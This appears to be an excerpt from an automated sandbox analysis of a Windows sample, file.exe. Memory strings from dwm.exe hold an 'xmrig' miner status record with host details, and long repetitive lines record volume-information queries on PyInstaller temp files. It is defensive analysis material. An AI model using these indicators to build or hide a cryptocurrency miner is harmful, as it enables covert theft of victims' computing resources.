Source: dwm.exe, 0000001B.00000003.2489310241.00000218DB17A000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000003.2489382759.00000218DB183000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"id":"ftczpzyunmuonzdm","computername":"124406","username":"user","gpu":"XU9THNX_1","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.3.1","activewindow":"C:\\Windows\\explorer.exe - Program Manager","runtime":0,"type":"xmrig","status":1}
Source: dwm.exe, 0000001B.00000003.2489453876.00000218DB198000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzC:\Windows\explorer.exe - Program Manager
Source: dwm.exe, 0000001B.00000003.2489453876.00000218DB198000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\explorer.exe - Program Manager
Source: dwm.exe, 0000001B.00000003.2489382759.00000218DB18C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerher\|
Source: dwm.exe, 0000001B.00000003.2489310241.00000218DB17A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: muonzdm","computername":"124406","username":"user","gpu":"XU9THNX_1","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.3.1","activewindow":"C:\\Windows\\explorer.exe - Program Manager","runtime":0,"type":"xmrig","status":1}
Source: dwm.exe, 0000001B.00000003.2489382759.00000218DB18C000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000002.3061575628.00000218DB18C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerT

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78D2A93A0 cpuid

0_2_00007FF78D2A93A0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\t.py VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
